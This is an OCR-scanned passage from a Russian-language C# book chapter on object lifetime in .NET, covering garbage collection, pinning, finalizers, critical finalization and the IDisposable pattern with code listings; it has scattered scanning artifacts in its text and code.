Если закрепление вызывает у вашего приложения проблемы, это может проявляться в виде следующих распространенных симптомов. На сборки мусора будет затрачиваться сравнительно высокая доля про- цессорного времени — плохим считается значение выше 10%. Однако этот признак сам по себе может и не быть следствием закрепления — его причиной может оказаться то, что объекты среднего возраста вызыва- 347
Глава 7 ют слишком много операций полной сборки мусора. Поэтому для того чтобы убедиться, что проблемы вызваны именно закреплением, можно отслеживать количество закрепленных блоков в куче*. Если создается впечатление, что причиной проблем является избыточное закрепление, для их устранения можно использовать два способа. Первый из них сводится к разработке приложения таким образом, чтобы закреплялись только блоки, размещаемые в куче больших объектов. Как вы помните, она не уплотняется, так что закрепление блоков в ней не требует ни- каких жертв с точки зрения производительности — сборщик мусора не перемещает эти блоки в любом случае. Затруднительный момент здесь заключается в том, что все операции ввода-вывода приходится выпол- нять с использованием массивов, размер которых не менее 85 000 байт. Это не обязательно представляет проблему, поскольку большинству API-интерфейсов ввода-вывода можно сообщить о т£>м, что необходи- мо работать с определенным участком массива. Таким образом, если в действительности вам потребуется иметь дело с блоками размером 4096 байт, вы можете создать один массив, достаточно большой, чтобы вместить как минимум 21 такой блок. При этом потребуется написать код, который станет отслеживать, какие участки массива используются; однако если таким образом удастся решить проблемы, производитель- ности, это может стоить потраченных усилий. Если вы решили устранить связанные с закреплением пробле- мы производительности путем использования кучи больших объектов, не забывайте о том, что это деталь реализации. Не исключена вероятность, что в дальнейших версиях платфор- мы .NET будет изменен пороговый размер большого объекта, или куча больших объектов престанет использоваться вооб- ще. Так что этот аспект дизайна потребуется пересматривать при выпуске каждой новой версии .NET. Другой способ свести к минимуму влияние закрепления на произво- дительность состоит в следующем: надо постараться сделать так, чтобы в большинстве случаев закрепление выполнялось только для объектов поколения 2. Если разместить в памяти пул буферов и повторно исполь- * Встроенный монитор производительности операционной системы Windows может предоставить множество полезных статистических данных о сборках мусора и другой деятельности среды CLR, включая долю процессорного времени, затрачивае- мого на сборки мусора, количество закрепленных объектов и количество сборок мусора поколений 0,1 и 2. 348
Время жизни объекта зовать их во время работы приложения, это будет означать закрепление блоков кучи, которые с очень малой долей вероятности потребуется пе- ремещать сборщику мусора, с сохранением возможности для последне- го в любой момент выполнить уплотнение эфемерных поколений. Чем раньше эти буферы будут размещены в памяти, тем лучше, поскольку чем старше объект, тем меньше вероятность, что сборщику мусора по- требуется его перемещать. Принудительная сборка мусора Класс System.GC предоставляет метод Collect, позволяющий выпол- нить принудительную сборку мусора. Данному методу можно передать номер поколения, для которого это требуется; перегрузка, не принимаю- щая аргументы, выполняет полную сборку. У вас очень редко будут ве- ские основания для вызова метода GC.Collect; я говорю здесь о нем по той причине, что он часто упоминается в Интернете, из-за чего создается впечатление, будто он используется чаще, чем это есть на самом деле. Принудительная сборка мусора может вызвать проблемы? Сборщик мусора отслеживает свою производительность и настраивает свое по- ведение в соответствии с используемыми вашим приложением шабло- нами выделения памяти. Однако для этого ему нужно, чтобы между сборками мусора проходило достаточное количество времени для полу- чения точной картины того, как действуют его текущие настройки. Если выполнять при»(удительные сборки слишком часто, сборщик мусора не сможет себя встроить, что приведет к следующим двум проблемам: сборки мусора будут выполняться чаще, чем необходимо, и поведение сборщика окажется неоптимальным. Обе эти проблемы повышают за- траты процессорного времени. Так когда же следует выполнять принудительную сборку мусора? Если вам известно, что приложение закончило определенную работу и собирается перейти в бездеятельное состояние, имеет смысл подумать о выполнении принудительной сборки. Сборки мусора запускаются ак- тивностью программы, поэтому если вы знаете, что приложение собира- ется перейти в неактивный режим — возможно, оно является службой, которая как раз завершила выполнение пакетного задания и не соби- рается выполнять никаких действий в течение следующих нескольких часов, — это говорит о том, что в памяти не будут размещаться новые объекты, и, соответственно, сборщик мусора не станет запускаться ав- томатически. Таким образом, принудительная сборка мусора предо- 349
Глава 7 ставляет возможность возвратить память операционной системе перед переходом приложения в неактивный режим. Однако следует сказать, что в таком случае стоит подумать о возможности применения механиз- мов, позволяющих полностью завершить выполнение процесса, - опе- рационная система Windows предоставляет различные способы полной выгрузки тех заданий или служб, необходимость в которых возникает лишь время от времени, когда они неактивны. Но если по той или иной причине этот прием применить нельзя — возможно, ваш процесс требу- ет больших затрат на запуск или должен продолжать работать для полу- чения входящих сетевых запросов, — то принудительная сборка мусора, вероятно, будет лучшим вариантом. Следует иметь в виду, что в одном случае сборка мусора все же запу- скается без каких-либо действий со стороны приложения. Когда система испытывает недостаток памяти, Windows рассылает сообщение об этом всем работающим процессам. Среда CLR принимает его и выполняет принудительную сборку мусора. Таким образом, даже если приложение не будет предпринимать никаких попыток освободить память, она, в ко- нечном счете, окажется освобождена, если это потребуется какому-либо другому приложению. ‘ Деструкторы и финализация Среда CLR прилагает много усилий к тому, чтобы установить, в ка- кой момент перестают использоваться объекты. Вы можете заставить ее уведомлять вас об этом — вместо того чтобы просто удалить недостижи- мые объекты, она будет сначала сообщать о них. В терминологии среды CLR это называется финализацией, однако в C# нужно использовать специальный синтаксис: чтобы применить финализацию, необходимо написать деструктор. Если ранее вы работали с C++, пусть вас не вводит в заблуж- дение термин «деструктор». Как вы увидите далее, деструктор в языке C# несет в себе некоторые важные отличия от таково- го в C++. Пример деструктора представлен в листинге 7.7. Данный код компи- лируется в переопределение Finalize, который, как упоминалось в гла- ве 6, является специальным методом, определенным в базовом классе 350
Время жизни объекта object. Финализаторы всегда должны вызывать базовую реализацию переопределяемого ими метода Finalize. Чтобы не допустить нарушение данного правила, компилятор C# генерирует этот вызов автоматически, и потому не позволяет просто написать метод Finalize вручную. Фи- нализаторы не вызываются напрямую — они запускаются средой CLR, поэтому для деструктора не нужно указывать уровень доступа. Листинг 7.7. Класс с деструктором public class LetMeKnowMineEnd ^LetMeKnowMineEnd () { Console.WriteLine("Прощай, жестокий мир"); } Среда CLR не гарантирует, что финализаторы будут запущены со- гласно какому-либо графику. Прежде всего, ей необходимо обнаружить, что объект стал недостижимым, а это случится только после запуска сборщика мусора. Если программа бездействует, до того момента, когда такое произойдет, может пройти достаточно долгое время; сборщик му- сора запускается, только когда программа что-либо делает или в случае нехватки памяти в масштабе всей системы. С того момента, когда объ- ект станет недостижимым, и до того, когда среда CLR заметит это, могут пройти минуты, часы и даже дни. Даже когд& среда обнаружит недостижимость объекта, она не гаран- тирует, что финализатор будет вызван сразу же. Финализаторы выпол- няются в отдельном выделенном потоке. Поскольку вне зависимости от выбранного режима работы существует только один поток финализа- ции, медленный финализатор заставит ждать остальные. В большинстве случаев среда CLR даже не гарантирует того, что она вообще запустит финализаторы. Когда процесс завершает работу, сре- да выполнения в течение короткого времени ожидает, пока будут вы- полнены финализаторы, однако если потоку финализации не удается запустить все финализаторы за те две секунды, которые отведены на за- вершение работы программы, он просто прерывает их выполнение. (Как будет объяснено далее в разделе «Критические финализаторы», из этого правила существуют исключения; однако все же для большинства фи- нализаторов не дается никаких гарантий.) 351
Глава 7 Таким образом, выполнение финализаторов может быть задержано на неопределенно длительное время независимо от того, активна или неактивна программа, и не гарантируется вообще. Однако еще хуже то обстоятельство, что на самом деле в финализаторе можно сделать не так уж много полезного. На первый взгляд кажется, что финализатор представляет собой хорошее место, чтобы убедиться в надлежащем завершении некоторой работы. Например, если объект сохраняет данные в файл, буферизуя их таким образом, чтобы можно было записать небольшое количество крупных фрагментов данных вместо множества чрезвычайно мелких (поскольку запись больших объемов часто более эффективна), можно подумать, что финализатор является очевидным местом, чтобы убедить- ся, надлежащим ли образом буферы сброшены на диск. Однако давайте рассмотрим этот вопрос более пристально. j На этапе финализации объект не может доверять ни одному из дру- гих объектов, ссылки на которые у него есть. Сам факт запуска деструк- тора объекта говорит о том, что тот уже стал недостижимым. Это, в свою очередь, означает, что любые другие объекты, на которые он ссылается, с большой долей вероятности тоже стали недостижимыми. Среда CLR обычно выявляет недостижимость групп связанных объектов одновре- менно — если данный объект создал три или четыре вспомогательных, то все они станут недостижимыми одновременно. Среда не дает никаких гарантий относительно порядка выполнения финализаторов (исключе- ние составляют критические финализаторы, которые, как будет расска- зано далее, получают ограниченные гарантии). Это означает следующее: вполне может случиться так, что к моменту запуска вашего деструктора все используемые вами объекты окажутся уже финализованы. Таким образом, если они тоже выполняют некоторую последнюю работу по очистке ресурсов, будет уже слишком поздно их использовать. Напри- мер, класс Filestream, который наследует от класса Stream и предостав- ляет доступ к файлу, закрывает свой манипулятор файла в деструкторе. Таким образом, если вы надеялись сбросить свои данные в поток типа Filestream, окажется слишком поздно — файловый поток уже может быть закрытым. Поскольку деструкторы представляют так мало пользы — то есть нельзя сказать точно, будут ли они запущены вообще и если будут, то когда, а кроме того, в них^тельзя использовать другие объекты, — воз- никает вопрос: зачем они нужны? 352
Время жизни объекта Справедливости радксТтедует отметить, что, хотя среда CLR 4 * не дает гарантий в отношении запуска большинства финали- ЭУзаторов, в действительности она обычно их запускает. Отсут- ствие гарантий имеет значение лишь в достаточно редких слу- чаях и потому не столь критично, как могло показаться. Это, впрочем, никак не умаляет тот факт, что в деструкторе нельзя использовать другие объекты. Единственная причина, по которой финализация вообще существу- ет, состоит в том, что она позволяет создавать .NET-типы, являющиеся обертками для сущностей, традиционно представляющихся манипуля- торами — таких как файлы и сокеты. Создание этих сущностей и управ-^ ление ими осуществляется за пределами среды CLR — файлы и сокеты требуют выделения ресурсов ядром операционной системы; библио- теки могут также предоставлять ориентированные на манипуляторы API-интерфейсы, которые обычно выделяют память в собственной за- крытой куче для хранения информации о том, что представляет собой манипулятор. Среда CLR не видит эту деятельность, все, что она видит, — .NET-объект с полем, содержащим целое число, и не имеет никакого представления, что это число является манипулятором некоторого ре- сурса за пределами среды. Так что она не знает о том, что важно закрыть манипулятор, когда прекращается использование объекта. Именно здесь вступаютвигру финализаторы: они представляют собой место, куда сле- дует поместить код, сообщающий за пределы среды CLR, что представ- ленная манипулятором сущность уже не применяется. В таком сценарии невозможность использования других объектов не является проблемой. При написании кода, обертывающего манипулятор, обычно * следует использовать один из встроенных классов, произво- лу дных от класса SafeHandle (описываемого в главе 21), или, если это абсолютно необходимо, собственный производный класс. Данный базовый класс расширяет базовый механизм фина- лизации с помощью ряда ориентированных на манипуляторы вспомогательных методов, а также использует описываемый далее механизм критической финализации для гарантии за- пуска финализатора. Кроме того, он получает особое обра- щение со стороны интероперабельного слоя для исключения преждевременного освобождения ресурсов. 353
Глава 7 Финализацию можно использовать для целей диагностики, однако из-за уже упоминавшихся непредсказуемости и ненадежности полагать- ся на ее результаты нельзя. Некоторые классы содержат финализатор, не делающий практически ничего, а только проверяющий, что объект не оставлен в состоянии, где он обладает незавершенной работой. На- пример, если вы напишете упоминавшийся выше класс, буферизующий данные перед их записью в файл, вам потребуется определить некий ме- тод, к которому должна будет обращаться вызывающая программа по завершении работы с объектом (например, с именем Flush или Close); помимо этого, вы можете написать финализатор, проверяющий, переве- ден ли объект в безопасное состояние перед завершением работы с ним, и выдающий сообщение об ошибке, если нет. Это позволит выявлять си- туации, когда вызывающая программа забывает выполнить корректную очистку ресурсов. (Данный прием использует библиотека параллельных задач (TPL, Task Parallel Library) платформы .NE'f Framework, о кото- рой мы поговорим в главе 17. Если асинхронная операция выбрасывает исключение, библиотека использует финализатор для выявления слу- чаев, когда вызывающая программа не замечает этого исключения.) Создав финализатор, вы должны отключать его, когда объект на- ходится в состоянии, уже не требующем финализации, поскольку она создает определенные затраты. Если вы предоставляете метод Close или Flush, то в случае его вызова финализация не понадобится, и вы долж- ны будете вызвать метод SuppressFinalize класса System.GC и сообщить сборщику мусора, что объект уже не нуждается в финализации. Если состояние объекта впоследствии изменится, можно заново разрешить финализацию, вызвав метод ReRegisterForFinalize. Наибольшие издержки финализации заключаются в обеспечении гарантии, что объект доживет как минимум до первого поколения, а воз- можно, даже до второго. Как вы, вероятно, помните, все объекты, которые переживают сборку мусора поколения 0, переходят в поколение 1. Если объект обладает финализатором, и вы не отключили его, вызвав метод SuppressFinalize, среда CLR не сможет избавиться от данного объекта, пока не запустит его финализатор. А поскольку финализаторы выпол- няются асинхронно в отдельном потоке, объект должен оставаться жи- вым даже несмотря на то что он был выявлен как недостижимый. Таким образом, хотя объект и является недостижимым, он еще не подлежит сборке. Как следствие, он переходит в поколение 1. Обычно его финали- зация выполняется вскоре после этого, а следовательно, он будет лишь напрасно занимать пространство до сборки мусора поколения 1, которая 354
Время жизни объекта выполняется гораздо реже, чем c6opi$a_^ycopa поколения 0. Если же до того, как стать недостижимым, объект успевает перейти в поколение 1, то финализатор увеличивает вероятность того, что тот перейдет в поко- ление 2 непосредственно перед прекращением его применения. Таким образом, финализация объектов приводит к неэффективному использо- ванию памяти, потому ее следует избегать и по возможности отключать для тех объектов, которые иногда в ней нуждаются. Даже несмотря на то что метод SuppressFinalize позволяет из- бавиться от наиболее вопиющих издержек финализации, ис- пользующий эту технику объект по-прежнему будет обладать более высокими издержками, чем тот, у которого вообще нет финализатора. При конструировании финализируемых объ- ектов среда CLR выполняет некоторую дополнительную ра- боту, чтобы отслеживать, какие объекты еще не были финали- зованы (вызвав метод SuppressFinalize, вы лишь исключаете объект из списка отслеживаемых объектов). Таким образом, хотя будет хорошо, если вы отключите финализацию, не дав ей выполниться, получится еще лучше, если вы не станете за- прашивать ее вообще. Немного странное следствие финализации заключается в том, что объект, выявленный сборщиком мусора как недостижимый, способен стать достижимым снова. Вы можете написать деструктор, сохраняю- щий ссылку j/!is в корневой ссылке или, возможно, в коллекции, до- стижимой через корневую ссылку. Ничто не помешает вам сделать это, и объект продолжит работу (хотя его финализатор не запустится во вто- рой раз, когда он станет недостижимым снова), однако такой поступок с вашей стороны будет странным. Подобное называется восстановлена- ем объекта, и наличие самой возможности еще не означает, что вы долж- ны так поступать. Этого лучше избегать. Критические финализаторы Хотя в общем случае не дается гарантий, что финализатор будет за- пущен, из этого правила существует исключение: вы можете написать критический финализатор. Финализатор является критическим в том случае (и только тогда), если он принадлежит классу, производному от базового класса CriticalFinalizerObject. Для таких объектов среда CLR дает две полезные гарантии. Во-первых, она предоставляет фина- 355
Глава? лизатору возможность выполниться даже в тех ситуациях, когда обыч- ный временной лимит для финализации при завершении процесса уже исчерпан. Во-вторых, в пределах любой группы одновременно выявлен- ных недостижимых объектов среда CLR выполняет некритические фи- нал изаторы да того, как перейти к критическим, а это означает, что если вы создадите финализируемый объект, содержащий ссылку на объект с критическим финализатором, использование последнего в финализа- торе первого не будет представлять опасности. Среда CLR не допускает выполнение некоторых операций внутри критических финализаторов. Не разрешается конструировать новые объекты или выбрасывать исключения, а вызывать методы можно толь- ко в том случае, если они придерживаются тех же ограничений. Благо- даря этому среда CLR гарантирует запуск критических финализаторов даже в таких экстремальных случаях, как закрытие процесса вследствие нехватки памяти. Они также не дают использовать критическую фина- лизацию в качестве универсального механизма для преодоления огра- ничений обычной. Это весьма ограниченный механизм, назначением которого является обеспечение возможности надежного закрытия ма- нипуляторов. Ранее я упоминал класс SafeHandle, использование которого явля- ется предпочтительным способом для обертывания манипуляторов в .NET. Эт;от класс гарантирует освобождение манипуляторов, посколь- ку наследует от класса CriticalFinalizerObject. Если-6 обеспечении освобождения манипуляторов вы станете полагаться на SafeHandle или один из классов, производных от него, то вашему классу, возможно, не потребуется быть производным от CriticalFinalizerObject, и, таким об- разом, на ваш финализатор не распространятся ограничения критиче- ской финализации. Кроме того, благодаря гарантии в отношении порядка выполнения, можно быть уверенным, что манипулятор, обернутый в объект типа SafeHandle, в момент запуска вашего финализатора еще останется до- ступен, поскольку критический финализатор объекта SafeHandle еще не будет выполнен. Что еще лучше, используя класс SafeHandle, можно обойтись вообще без собственного финализатора. Я надеюсь, что к этому моменту я уже убедил вас в том, что деструк- торы не могут служить в качестве удобного универсального механизма для очистки ресурсов при завершении работы с объектами. Они быва- ют полезны, главным образом, лишь для работы с манипуляторами не 356
Время жизни объекта контролируемых средой CLR сущностей. Если вам нужно обеспечить своевременное, надежное освобождение ресурсов, для этого существует лучший механизм. Интерфейс IDisposable В библиотеке классов определен интерфейс с именем IDisposable. Хотя среда CLR не обращается с ним каким-либо особым образом, C# предоставляет для него некоторую встроенную поддержку. Интерфейс IDisposable — это очень простая абстракция; как показывает листинг 7.8, он определяет лишь один член: метод Dispose. Листинг 7.8. Интерфейс IDisposable public interface IDisposable { void Dispose (); } В основе интерфейса IDisposable лежит весьма простая идея. Если в вашем коде используется объект, который реализует этот интерфейс, то по завершении работы с объектом вы должны вызвать метод Dispose (лишь с одним редким исключением — см. далее раздел «Опциональ- ное удаление объектов»). Это позволяет объекту освободить те ресурсы, которые, возможно, были ему выделены. Если удаляемый объект ис- пользовал ресурсы, представленные в виде манипуляторов, то вместо того, чтобы ожидать, пока в дело вмешается финализация, он обычно закрывает эти манипуляторы немедленно (отключив финализацию). Если объект использовал службы на удаленной машине с фиксацией состояния — например, сохраняя соединение открытым, чтобы сервер мог делать запросы, — он немедленно ставит удаленную систему в из- вестность о том, что больше не нуждается в ее службах, делая это любым необходимым способом (например, закрывая соединение). Существует устойчивый миф о том, что вызов метода Dispose заставляет сборщика мусора выполнять некоторые действия. Я}'В Интернете можно прочитать, что метод Dispose выполняет финализацию объекта или даже приводит к его учету сборщи- ком мусора. Это полная чепуха. Среда CLR обращается с ин- терфейсом IDisposable и методом Dispose так же, как с любым другим интерфейсом или методом. 357
Глава? Интерфейс IDisposable представляет важность по той причине, что позволяет объекту использовать дорогие ресурсы, обходясь при этом очень небольшим объемом памяти. В качестве примера давайте рассмо- трим объект, представляющий соединение с базой данных. Такой объект зачастую не нуждается в большом количестве полей — он даже может обладать лишь одним полем с представляющим соединение манипуля- тором. С точки зрения среды CLR, это достаточно недорогой объект, и мож- но разместить в памяти сотни подобных ему, не вызвав сборку мусора. Однако на сервере баз данных дело будет обстоять иначе: вероятно, по- требуется выделять достаточно значительный объем памяти для каждо- го входящего соединения. Также могут налагаться строгие ограничения на количество соединений (это показывает, что «ресурс» представляет собой достаточно широкое понятие, способное означать цОчти все, в чем вы можете испытывать недостаток). Полагаться в определении того, какие объекты соединения с базой данных уже не используются, на сборщик мусора, вероятно, плохая стратегия. Среда CLR будет знать, что мы разместили в памяти, скажем, 50 объектов, но если, вместе взятые, все они займут лишь несколько со- тен байтов^ она не найдет причин для выполнения сборки мусора. И при всем том приложение может находиться на грани остановки — если нам будет разрешено использовать только 50 соединений с базой данных, то следующая попытка создать соединение закончится неудачей. Даже если не будет никаких ограничений на количество соединений, откры- тие гораздо большего числа таковых, чем необходимо, окажется крайне неэффективным использованием ресурсов базы данных. Объекты соединения необходимо закрывать как можно скорее, не дожидаясь, пока сборщик мусора сообщит нам, какие из них уже не ис- пользуются; именно здесь в игру вступает интерфейс IDisposable. Ко- нечно, это имеет значение не только для соединений с базой данных, а крайне важно для любого объекта, который представляет собой внеш- ний интерфейс какого-либо ресурса, расположенного за пределами сре- ды CLR — такого как файл или сетевое соединение. Даже в случае не сильно ограниченных ресурсов интерфейс IDisposable предоставляет возможность уведомить объекты о завершении работы с ними, чтобы они могли закрыться с надлежащей очисткой ресурсов; это позволяет решить описанную выше проблему-йспользования объектов, выполня- ющих внутреннюю буферизацию. 358
Время жизни объекта Если ресурс требует больших затрат на создание, возможно, *<?; 4 ш вы захотите использовать его повторно. Так зачастую обстоит ——Задело с соединениями с базами данных, поэтому распростра- ненной практикой является поддержание пула соединений. Вместо того чтобы по завершении работы с соединением за- крыть его, вы возвращаете его в пул, делая доступным для повторного использования (на такое способны почти все по- ставщики доступа к данным платформы .NET). Модель интер- фейса IDisposable будет полезной и в этом случае. Когда вы запрашиваете ресурс у пула, он обычно предоставляет оберт- ку реального ресурса, а когда вы удаляете ее — возвращает ресурс в пул, вместо того чтобы освобождать его. Таким обра- зом, вызов метода Dispose в действительности является лишь'*? способом сказать: «Я завершил работу с объектом», — и ре- шение о том, что делать дальше с ресурсом, для представ- ления которого служит данный объект, выносит реализация интерфейса IDisposable. К реализациям интерфейса IDisposable предъявляется требование допускать множественные вызовы метода Dispose. Хотя сказанное озна- чает, что потребители могут без какого-либо ущерба вызывать метод Dispose несколько раз, они не должны пытаться использовать объект по- сле того, как будет вызван этот метод. На самом деле, в библиотеке клас- сов определено специальное исключение, ObjectDisposedException, ко- торое объекты могут выбрасывать при попытке использовать их таким образом (Исключения мы обсудим в главе 8). Конечно, метод Dispose можно свободно вызывать напрямую, однако C# также предоставляет поддержку интерфейса IDisposable в виде циклов foreach и инструк- ций using. Инструкция using — способ обеспечить надежное удаление объекта, реализующего интерфейс IDisposable, по завершении работы с ним. Как она используется, показывает листинг 7.9. Листинг 7.9. Инструкция using using (StreamReader reader = File.OpenText(@"C:\temp\File.txt”)) Console.WriteLine(reader.ReadToEnd()); } Данный код эквивалентен приведенному в листинге 7.10. Ключевые слова try и finally являются составной частью системы обработки ис- ключений языка С#, которую мы подробно обсудим в главе 8. В данном 359
Глава? случае они используются, чтобы гарантировать выполнение кода внутри блока finally даже в том случае, если внутри блока try что-либо пойдет не так. Это также гарантирует вызов метода Dispose, даже если в середи- не блока будет выполнена инструкция return или инструкция goto. Листинг 7.10. Код инструкции using в развернутом виде ( StreamReader reader = File.OpenText(@"C:\temp\File.txt"); try { Console.WriteLine(reader.ReadToEndl)); ) finally if (reader != null) / { ((IDisposable) reader).Dispose(); } } } Если переменная в инструкции using относится к значимому типу, то компилятор C# не будет генерировать код, выполняющий проверку на равенство значению null, а просто вызовет метод Dispose сразу. Если требуется использовать несколько удаляемых ресурсов в одной области видимости, можно прибегнуть к пакетированию не- скольких инструкций using перед одним блоком. В листинге 7.11 этот прием используется для копирования содержимого одного файла в другой. Листинг 7.11. Пакетирование инструкций using using (Stream source = File.OpenRead(@"C:\temp\File.txt")) using (Stream copy = File.Create(@”C:\temp\Copy.txt")) { source.CopyTo(copy); } Пакетирование инструкций using не является каким-либо особым синтаксисом; это лишь следствие того факта, что за using всегда следу- ет одна вложенная инструкция, выполняемая до вызова метода Dispose. 360
Время жизни объекта Обычно в таковом качестве выступает блок, однако в листинге 7.11 вло- женной инструкцией первой using является вторая. Цикл foreach генерирует код, использующий интерфейс IDisposable, если его реализует перечислитель. Листинг 7.12 демонстрирует цикл foreach, в котором используется как раз такой перечислитель. Листинг 7.12. Цикл foreach foreach (string file in Directory.EnumerateFiles(@”C:\temp")) Console.WriteLine(file); } Метод EnumerateFiles класса Directory возвращает объект типа lEnume rable<s t r ing>. Как вы видели в главе 5, этот тип обладает метадбм GetEnumerator, который возвращает объект типа IEnumerator<string>, интерфейса, наследующего от IDisposable. Следовательно, компи- лятор C# сгенерирует код, эквивалентный приведенному в листин- ге 7.13. Листинг 7.13. Код цикла foreach в развернутом виде % ( IEnumerator<string> е = Directory.EnumerateFiles(@"С:\temp").GetEnumerator(); try { while (е.MoveNext ()) z string file = e.Current; Console.WriteLine(file); } } finally ( if (e != null) ( ((IDisposable) e).Dispose(); } } } 361
Глава? Компилятор может варьировать данный код в зависимости от тип перечислителя коллекции. Если это значимый тип, реализующий ш терфейс IDisposable, компилятор не будет генерировать проверку н равенство значению null в блоке finally (так же, как это делается в hi струкции using). Если статический тип перечислителя не реализует ж терфейс IDisposable, результат зависит от того, открыт ли этот тип дл наследования. Если он запечатан или является значимым, компилято вообще не будет генерировать код, пытающийся вызвать метод Dispose Если он не запечатан, компилятор сгенерирует код в блоке finally, пре веряющий на этапе выполнения, реализует ли перечислитель интерфей IDisposable, после чего вызовет метод Dispose, если это так, и ничего и сделает в противном случае. " Хотя листинг 7.13 показывает, как цикл foreach компилируете! 41 • в 5е®’ слеДУет отметить, что бояре ранние версии комли —^-3?*лятора генерировали немного друЛй код. (При этом отличи! не влияют на работу с интерфейсом IDisposable. Я упоминаи о них здесь лишь для полноты картины.) Обратите внимание что переменная итерации, file, объявляется внутри цикл while, и, таким образом, каждая итерация, в сущности, по лучает новую переменную. Раньше она объявлялась пере; циклом while, потому все время использовалась одна пере менная, значение которой изменялось на каждой итерации В большинстве случаев это не играет какой-либо заметно! роли, однако в главе 9 мы все же рассмотрим сценарий, гд| разница становится важной. Проще всего использовать интерфейс IDisposable в том случае, когда вы получаете ресурс и завершаете работу с ним в одном и том же методе поскольку это позволяет гарантировать вызов Dispose с помощью ин- струкции using (или, если уместно, цикла foreach). Однако в некоторых случаях вам придется писать класс, создающий удаляемый объект и по- мещающий ссылку на него в поле, по той причине, что он будет нуждать- ся в возможности использовать этот объект в течение более длительного промежутка времени. Например, вы можете написать класс протоколи- рования, и если при этом протоколирующий объект будет записывать данные в файл, он может удерживать объект типа Streamwriter. C# не предоставляет здесь никакой автоматической помощи, поэтому обеспе- чить удаление всех вложенных объектов вам придется самостоятель- но. Вам потребуется йатГисать собственную реализацию интерфейса 362
Время жизни объекта IDisposable, которая будет удалять другие объекты. Как показывает ли- стинг 7.14, в этом нет ничего сложного. Обратите внимание, что данный код устанавливает поле file в null и, таким образом, не будет пытаться удалить файл дважды. Это не является строго обязательным, поскольку тип Streamwriter допускает множественные вызовы метода Dispose, од- нако позволяет простым способом дать знать объекту Logger о том, что он находится в удаленном состоянии; таким образом, если бы нам по- требовалось добавить реальные методы, мы могли бы проверять поле _ file и выбрасывать исключение ObjectDisposedException, если значение будет равно null. Листинг 7.14. Удаление вложенного экземпляра * public sealed class Logger : IDisposable ( private Streamwriter _file; public Logger(string filePath) I _file = File.CreateText(filePath); ч ) public void Dispose () ( if (_file != null) ( file.Disposed ; /''-file = null; ) 1 // Реальный класс, конечно, далее перейдет к некоторым действиям над объектом Streamwriter 1 Этот пример обходит стороной одну важную проблему. Данный класс является запечатанным, что позволяет избежать вопроса о том, как быть с наследованием. Если вы напишете незапечатанный класс, реализую- щий интерфейс IDisposable, вы должны будете предоставить произво- дным классам возможность добавлять свою логику удаления объектов. Наиболее простое решение состоит в том, чтобы сделать метод Dispose виртуальным и тем самым позволить производным классам переопреде- лять его, добавляя собственную очистку ресурсов в дополнение к вы- зову вашей базовой реализации. Однако время от времени вы будете встречать в .NET и применение несколько более сложного шаблона. 363
Глава 7 1 -S Некоторые объекты реализуют интерфейс IDisposable и в то же вре-j мя обладают финализатором. После введения класса SafeHandle и родч ственных ему в .NET 2.0 необходимость для класса предоставлять и то^ и другое стала достаточно необычным явлением (если только речь не? идет о классе, производном от SafeHandle). В финализации обычно нуж-’ даются только обертки манипуляторов, и в настоящее время классы,; в которых используются манипуляторы, как правило, не реализуют соб-' ственные финализаторы, а делегируют предоставление финализации классу SafeHandle. Однако существуют и исключения из этого правила. Некоторые библиотечные типы реализуют шаблон, рассчитанный на поддержку и финализации, и интерфейса IDisposable, позволяя предо- ставлять в производных классах пользовательское поведение и для того, и для другого. Так, к примеру, работает базовый класс Stream. Идея данного шаблона состоит в том, чтобы определить защищен- ную перегрузку метода Dispose, принимающую один аргумент типа bool. Базовый класс вызывает эту перегрузку из своего отбытого мето- да Dispose или своего деструктора, передавая, соответственно, true или false. При этом требуется переопределить только один метод, а имен- но защищенный метод Dispose. Он может содержать любую общую для финализации и удаления объектов логику, например, логику закрытия манипуляторов; в то же время можно выполнять и любую логику, спе- цифичную тдлько для удаления объектов или только для финализации, поскольку на то, какой вид очистки ресурсов выполняется, указывает передаваемый аргумент. Как это может выглядеть, демонстрирует ли- стинг 7.15. Листинг 7.15. Пользовательская логика финализации и удаления объектов < public class MyFunkyStream : Stream { // Приводится только в демонстрационных целях. Обычно лучше // использовать некоторый тип, производный от класса SafeHandle. private IntPtr jnyCustomLibraryHandle; private Logger _log; protected override void Dispose(bool disposing) { base.Dispose(disposing); if (jnyCustomLibraryHandle != IntPtr.Zero) { MyCustomLibrarylnteropWrappeT.'tlose (jnyCustomLibraryHandle) ; 364
Время жизни объекта jnyCustomLibraryHandle = IntPtr.Zero; I if (disposing) ( if (_log != null) ( _log.Dispose (); _log = null; I ) I ... здесь размещаются перегрузки абстрактных методов класса Stream * 1 Этот гипотетический пример представляет собой пользовательскую реализацию абстракции Stream, применяющую некоторую внешнюю стороннюю библиотеку, что обеспечивает доступ к ресурсам с исполь- зованием манипуляторов. Нам нужно закрыть манипулятор, когда бу- дет вызван открытый метод Dispose, однако если это не произойдет до вызова финализатора, манипулятор нужно закрыть в финализаторе. Та- ким образом, данный код проверяет, открыт ли еще манипулятор, и если да, закрывает его, делая это независимо от того, вызывается перегрузка Dispose (bool) в результате явного удаления объекта или его финализа- ции, — гарантировать закрытие манипулятора нужно и в том, и в другом случае. Однако данный класс также использует экземпляр класса Logger из листинга 7.14. Поскольку это обычный объект, мы не должны пытать- ся использовать его во время финализации, так что мы пытаемся уда- лить его только при удалении нашего объекта. При выполнении фина- лизации, хотя сам объект класса Logger не является финализируемым, он использует финализируемый объект класса Filestream; вполне возмож- но, что ко времени запуска финализатора нашего класса MyFunkyStream финализатор Filestream уже будет выполнен; таким образом, было бы плохой идеей вызывать методы для объекта класса Logger. Когда базовый класс позволяет предоставлять такую виртуаль- ную защищенную форму метода Dispose, он должен вызывать метод GC.SuppressFinalization в своем открытом методе Dispose; базовый класс Stream это делает. В более общем случае, если вы создаете класс, который предлагает и метод Dispose, и финализатор, то, независимо от того, будете ли вы поддерживать наследование или нет, вам придется подавлять финализацию при вызове метода Dispose. 365
